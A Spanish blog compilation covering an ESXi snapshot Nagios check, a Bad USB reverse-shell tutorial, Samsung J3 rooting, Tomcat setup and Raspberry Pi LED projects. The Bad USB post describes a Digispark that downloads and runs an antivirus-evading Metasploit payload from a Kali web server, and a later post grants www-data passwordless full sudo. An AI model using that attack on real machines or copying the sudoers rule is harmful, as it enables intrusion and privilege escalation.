Monitorear si una maquina virtual tiene snapshots en VMware ESXi

Este script corre con el usuario nagios, el ESXServer lo cambian por el hostname de su ESX ó por la ip del mismo, Storage-01 es el nombre del datastore del vmware en mis servidores.

Va a llegar una alarma de nagios en caso que exista alguna virtual con al menos un snapshot en cualquier máquina virtual.

Script: /usr/local/apps/nagios/libexec/check_VM_snapshots

 # Autor Hernan Tirado

 # blog: redes-seguridad.blogspot.com

 # Creado el: 15-03-2018

 #

 # Uso: /usr/local/apps/nagios/libexec/check_VM_snapshots

CANT_SNAP=`ssh root@ESXserver-x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq|wc -l`

if [ $CANT_SNAP = 0 ];then

 echo "OK - Virtuales SIN Snapshots en Storage-01."

 exit 0

else

 echo "CRITICAL - Virtuales con Snapshots en Storage-01: $CANT_SNAP"

 ssh root@ESXserver -x ls -latR /vmfs/volumes/Storage-01/|grep -i snap |awk '{ print $6" "$7" "$9}'|sort|uniq

 exit 2

fi

fi

Tener en cuenta que tiene que tener habilitado el SSH en el server ESXi y también copiar la key de nagios en el autorized_key del server ESX.

Shell Reversa con Bad USB Casero a Bajo Costo

Nos descargamos el IDE de Arduino de la siguiente página: 

https://www.arduino.cc/en/Main/Donate

Lo instalamos y damos todas las opciones siguiente -> siguiente por defecto:

Si nos pide instalar algo como esto, le damos confiar siempre e instalar:

Abrimos el Arduino y vamos a Archivo -> Preferencias:

Colocamos en Tarjetas adicionales lo siguiente:
http://digistump.com/package_digistump_index.json y damos ok:

Clickeamos en Herramientas -> Placa: "Arduino/Genuino Uno" -> "Gestor de tarjetas ..."

Seleccionamos "Digistump AVR Boards by Digistump" -> Instalar
Esperamos que instale -> Cerrar:

Nuevamente vamos al mismo menú -> Herramientas -> Placa -> "Digispark (Default - 16.5mhz)":

Descargamos el Digistump Drivers desde: https://github.com/digistump/DigistumpArduino/releases

Descomprimimos y ejecutamos el siguiente archivo:

Abrimos el IDE de Arduino y vamos a > Archivo > Ejemplos > DigisparkKeyboard > Keyboard

Vamos luego a > Herramientas > Programador: "USBtinyISP" > USBtinyISP

Descargamos el .ino que hice para tipear automáticamente de la siguiente url: https://github.com/tirher/Arduino

Borramos lo que teníamos previamente en el IDE de Arduino y pegamos lo que descargamos del link anterior, debería quedar así:

Hacemos click en el tilde de arriba a la izquierda como indica en la imagen y luego veremos algo como muestra debajo de la flecha:

Luego seleccionamos la flecha que indica a la derecha y vemos abajo de todo en la ventana negra que nos indica cuando ingresar el USB Atiny85. Cuando aparece "Plug in device now ..." lo conectamos:

Cuando indique "100 % complete" lo desconectamos y ya tenemos el bad usb listo:

En el post previo mostré como utlizar avoid para hacer una shell reversa: http://redes-seguridad.blogspot.com.ar/2017/07/reverse-shell-indetectable-por-sophos.html ahora la voy a publicar en un webserver para poder descargarla u ejecutarla directamente del usb.

Iniciamos en el kali el apache2 y copiamos el py.exe en la ruta /var/www/html y verificamos que lo pueda acceder por una web:

Luego ejecutamos el siguiente comando, si ó si tiene que ser desde el terminal dentro del entorno gráfico, sino no funcionará:

root@kali:~/Desktop/avoidz# ./avoidz.rb -h 192.168.1.43 -f py

Cuando nos pregunte: "Whould you like to start a listener? (Y/n)" le indicamos que si y vemos como se abre solo el msfconsole y queda a la escucha esperando:

Conectamos el Bad USB en el windows y veremos que descargará el py.exe desde nuestro webserver y lo ejecutará:

Luego de unos segundos veremos la conexión reversa desde el windows al kali linux:

Vemos las sesiones abiertas y nos conectamos:

Rootear Samsung Galaxy J3

Fue probado en el siguiente equipo:

Dispositivo: Samsung Galaxy J3 (2016)
Número de Modelo: SM-J320M
Versión de Android: 5.1.1


Comenzamos con el instructivo:

Vamos a "Ajustes" del teléfono => "Acerca del dispositivo" => "Info. Software" => Hacemos 3 clicks sobre "Número de compilación" y se activará modo de desarrollador.

Volvemos a "Ajustes" => "Opciones de desarrollador" y activamos => Habilitamos "Depuración de USB"

También el "Desbloqueo OEM"

Descargamos el SuperSU: SR3-SuperSU-v2.79-SR3-20170114223742.zip del siguiente enlace:

https://download.chainfire.eu/1021/SuperSU/SR3-SuperSU-v2.79-SR3-20170114223742.zip?retrieve_file=1 

Conectamos el USB al celular y a la computadora y copiamos el archivo descargado previamente en la targeta externa dentro de una carpeta Download, sino existe la creamos:

Descargamos odin3_v3.12.5 y el TWRP_3.0.2-0_SM-J320F.tar.md5 respectivamente de los siguientes links:

http://odin3.en.lo4d.com/download/mirror-ls1

https://va1.androidfilehost.com/dl/I6DfH2jD0qNhmn8HUuTO7A/1498664670/817550096634759851/TWRP_3.0.2-0_SM-J320F.tar.md5

Ejecutar el odin, hacer click en "Options" y destildar las opciones "Auto Reboot" y "F. Reset Time"

   

Hacer click en AP y nos abrirá una ventana en la cual le indicamos la ruta de: TWRP_3.0.2-0_SM-J320F.tar.md5

Desconectamos el teléfono del cable USB y lo apagamos.


Con el celular apagado -> presionamos las teclas de: "Home"+"Encendido"+"Bajar Volumen"

Cuando aparece la siguiente imagen damos "Subir Volumen":

Conectamos el celular al USB conectado a la computadora.

Vemos el odin la solapa Log que figura que fue detectado y damos click en "Start" y vemos también en el celular carga una barra:

Aparece que todos los hilos fueron completos y aparece PASS:

Desconectamos el cable y sacamos la batería para apagarlo.

Volvemos a ponerle la batería y presionamos las teclas juntas para encenderlo: "Home"+"Subir Volumen"+"Encendido"

Aparece el celular iniciando con un mensajito verde arriba a la izquierda y luego carga un menú en russo, no asustarse, clickear el botón gris de abajo a la izquierda:

Seleccionamos instalar como indica la imagen arriba a la izquierda:

Buscamos donde subimos el archivo en la tarjeta de memoria tocando el botón gris de abajo a la izquierda:

Elegimos Micro SDCard:

Vamos a la carpeta Download:

Seleccionamos el archivo SR3-SuperSU ...

Desplazamos la barra naranja de abajo a la derecha:

Y esperamos que aparezca rotoBo que indica que finalizó:

Volvemos atrás con el triángulo que indica a la izquierda < dos veces hasta volver al menú con los botones y tocamos el botón de reinicio de abajo a la derecha:

El sistema -> Tecla de arriba a la izquierda:

Si aparece instalar SU le damos que no, a mi particularmente no me apareció.

Esperamos que reinicie y debe aparecer "Iniciando Android ..." "Abriendo aplicaciones" Tarda varios minutos:

Descargamos y ejecutamos del play store el SuperSU y creamos un nuevo usuario.

       KNOX => Aceptar

Después instalamos el "Root checker" también del play store para ver que realmente tenemos permisos de root:

FUENTE: 

https://www.youtube.com/watch?v=ML50vJ6kaGY

https://www.youtube.com/watch?v=MbnCZa-ya2s&index=5&list=PLaz8FSFJK9WsXUnRRwI3cZTXDGwDNbapR

Instalar Tomcat 8 en Debian Jessie

Instalamos tomcat8:

root@linux:~# apt-get update
root@linux:~# apt-get install tomcat8

Vemos que escucha el puerto 8080:

root@linux:~# netstat -ano |grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      off (0.00/0/0)

Nos conectamos con un navegador web a:

http://192.168.1.100:8080/

Instalamos documentación, ejemplos y administración:

root@linux:~# apt-get install tomcat8-docs tomcat8-examples tomcat8-admin

Editamos el xml para permisos de usuarios:

root@linux:~# vi /etc/tomcat8/tomcat-users.xml

    tomcat

" password="mi_password" roles="manager-gui,admin-gui,manager-script" />


Reiniciamos el servicio del tomcat:

root@linux:~# /etc/init.d/tomcat8 restart
[ ok ] Restarting tomcat8 (via systemctl): tomcat8.service.

Ingresamos al manager con el usuario que creamos, donde indicamos la ip del server:

http://192.168.1.100:8080/manager/html


O ingresamos al host con el mismo usuario:

http://192.168.1.100:8080/host-manager/html


Ejemplos para ver el código y ejecutar:

http://192.168.1.100:8080/examples/

Si quiero hacer deploy de un war desde la url:

http://192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigillo&war=file:/usr/share/tomcat8-docs/docs/appdev/sample/Ejemplirigillo.war


Para undeploy desde la url:

http://192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigillo


Si queremos ejecutar comandos desde la CLI para listar las Applicaciones:

root@linux:~# curl http://tomcat:mi_password@192.168.1.100:8080/manager/text/list
OK - Listed applications for virtual host localhost
/:running:0:ROOT
/manager:running:16:/usr/share/tomcat8-admin/manager
/docs:running:0:/usr/share/tomcat8-docs/docs
/examples:running:0:/usr/share/tomcat8-examples/examples
/host-manager:running:0:/usr/share/tomcat8-admin/host-manager

Para hacer deploy de un WAR desde la CLI:

root@linux:~# curl --upload-file /usr/share/tomcat8-docs/docs/appdev/sample/Ejemplirigillo.war "http://tomcat:mi_password@192.168.1.100:8080/manager/text/deploy?path=/Ejemplirigilllo"
OK - Deployed application at context path /Ejemplirigilllo

Vemos que quedó deployado la Aplicación llamada: Ejemplirigillo:

root@linux:~# curl http://tomcat:mi_password@192.168.1.100:8080/manager/text/list
OK - Listed applications for virtual host localhost
/Ejemplirigilllo:running:0:Ejemplirigilllo
/:running:0:ROOT
/manager:running:8:/usr/share/tomcat8-admin/manager
/docs:running:0:/usr/share/tomcat8-docs/docs
/examples:running:0:/usr/share/tomcat8-examples/examples
/host-manager:running:0:/usr/share/tomcat8-admin/host-manager

FUENTES: 

https://stackoverflow.com/questions/19276753/how-can-i-deploy-a-web-application-to-tomcat-application-server-via-terminal-com

https://tomcat.apache.org/tomcat-8.0-doc/deployer-howto.html

https://www.youtube.com/watch?v=cw47LHqavTg

https://stackoverflow.com/questions/4432684/tomcat-manager-remote-deploy-script

http://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html#Supported_Manager_Commands

https://tomcat.apache.org/tomcat-8.0-doc/manager-howto.html#Deploy_a_Directory_or_WAR_by_URL

Prender un LED con Sensor de Movimiento Ultrasonico HC-SR04 en Raspberry Pi

En la entrada anterior vimos como controlar un LED con GPIO en la RaspBerry Pi: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a explicar como prender el led utilizando el sensor de movimiento HC-SR04.

Materiales que utilizaremos son los mismos elementos que en el link de arriba, pero agregando el sensor que se puede conseguir por cualquier lado.


Pasos para la conexión:

Voy a explicar lo mejor posible, utilizando la terminología de filas A, B, C, etc y columnas 0, 1, 2, al mejor estilo batalla naval.

Los pines del Raspberry los enumeraré teniendo la tarjeta SD hacia la izquierda y el puerto USB hacia la derecha, el de abajo a la izquierda sería el PIN_1, el de arriba PIN_2, e ir contando de abajo hacia arriba y de izquierda a derecha PIN_3 sería el segundo de abajo de izq a der y así sucesivamente.

Lo que está en letra negrita es del raspberry y lo que está en letra azul es el protoboard:

1) Conectamos el PIN_2 de las raspberry al positivo => +59 (la primer linea de abajo del protoboard).

2) PIN_6 al negativo => -55 (la segunda linea de abajo del protoboard).

3) PIN_10 al J50

4) PIN_11 al J51

5) PIN_16 al H33

6) +53 al J49

7) -52 al J52 

8) Conectamos una resistencia del -35 al J35

9) Conectamos el LED de 5volts: El negativo (lado más corto) del LED lo conectamos al G35 del proto y el positivo (lado más largo) al G33

10) El sensor ultrasónico lo conectamos desde el F49 al F52. IMPORTANTE!! El GND del sensor debe ir en el F52 y el vCC del sensor al F49 del protoboard.


Ya finalizadas las conexiones les pongo el código para que generen el python:

vi /var/www/html/sensorProximidad.py

#!/usr/bin/python
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BOARD)
Trigger = 10
Echo = 12
GPIO.setup(Trigger,GPIO.OUT)
GPIO.setup(Echo,GPIO.IN)
print "Sensor Ultrasonico"
try:
        while True:
                GPIO.output(Trigger,False)
                time.sleep(0.5)
                GPIO.output(Trigger,True)
                time.sleep(0.00001)
                GPIO.output(Trigger,False)
                inicio=time.time()
                while GPIO.input(Echo)==0:
                        inicio=time.time()
                while GPIO.input(Echo)==1:
                        final=time.time()
                t_transcurrido=final-inicio
                distancia=t_transcurrido*34000
                distancia=distancia/2
                if distancia < 10:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,1)
                else:
                        GPIO.setmode(GPIO.BOARD)
                        GPIO.setwarnings(False)
                        GPIO.setup(16, GPIO.OUT)
                        GPIO.output(16,0)
except KeyBoardInterrupt:
        GPIO.cleanup()

Le damos permisos al script de ejecución y lo ejecutamos, ponemos la mano a menos de 10 centímetros del sensor y si está todo bien conectado se encenderá el LED.

Acá les dejo el planito que hice:

Les dejo también un video del enano jugando con el sensor:

Prender/Apagar LED en Raspberry con PHP llamando a Python

En este enlace hicimos el primer ejercicio de prender y apagar un led en Raspberry Pi con python: https://redes-seguridad.blogspot.com.ar/2017/03/controlando-un-led-con-raspberry-pi-en.html

Ahora vamos a hacer un simple PHP con dos botones para prender el LED desde una web, pudiendo hacerlo desde la computadora, del celular o desde un lugar remoto:

Iniciamos el webserver apache:

root@kali:/home# /etc/init.d/apache2 start
[....] Starting apache2 (via systemctl): apache2.service
. ok

Tener en cuenta que tenemos que habilitar el sudo para el usuario www-data, lo configure rapido, sin seguridad dandole permiso a todo en el sudoers pero tengamos cuidado de no hacerlo asi porque es totalmente inseguro:

root@kali:~# visudo
# User privilege specification
www-data        ALL=(ALL:ALL) NOPASSWD: ALL

Nos logueamos con el usuario www-data:

root@kali:~# su - www-data
www-data@kali:~$ 

Generamos los archivos que lo prenden, el python y el php:

www-data@kali:~$ sudo cd /var/www/html/ 

www-data@kali:~/html$ sudo vi prende.py
#!/usr/bin/python
print "LED prendido!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,1) 

www-data@kali:~/html$ sudo vi prende.php
$a=exec('sudo python /var/www/html/prende.py');
echo $a;
?>

 Ahora los que apagan:

www-data@kali:~/html$ sudo vi apaga.py 

#!/usr/bin/python
print "LED apagado!!"
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(17, GPIO.OUT)
GPIO.output(17,0) 

www-data@kali:~/html$ sudo vi apaga.php
$a=exec('sudo python /var/www/html/apaga.py');
echo $a;
?>

 Lo prendemos y lo apagamos llamando al .php correspondiente desde un navegador:

http://192.168.1.40/prende.php

http://192.168.1.40/apaga.php


Ahora hacemos un unico php que tenga dos botones que prenderan o apagaran el led:

www-data@kali:~/html$ sudo vi boton.php

http://192.168.1.40/boton.php

Tenemos una opción mejor que encontré en el sitio de Jeferson Rivera: http://riverajefer.blogspot.com.ar/


La clonamos con el git y edigamos el procesa.php

root@kali:~# cd /var/www/html/
root@kali:/var/www/html# git clone https://github.com/rpi-jefer/rpi-led 

root@kali:~# vi /var/www/html/rpi-led/procesa.php

Cambio a la ruta de mis pythones así no tengo que cambiar los pines uno por uno:

    exec('sudo python /var/www/html/apaga.py');
y
    exec('sudo python /var/www/html/prende.py');

Ingresamos a la url y vemos que prende tocando el pulsador: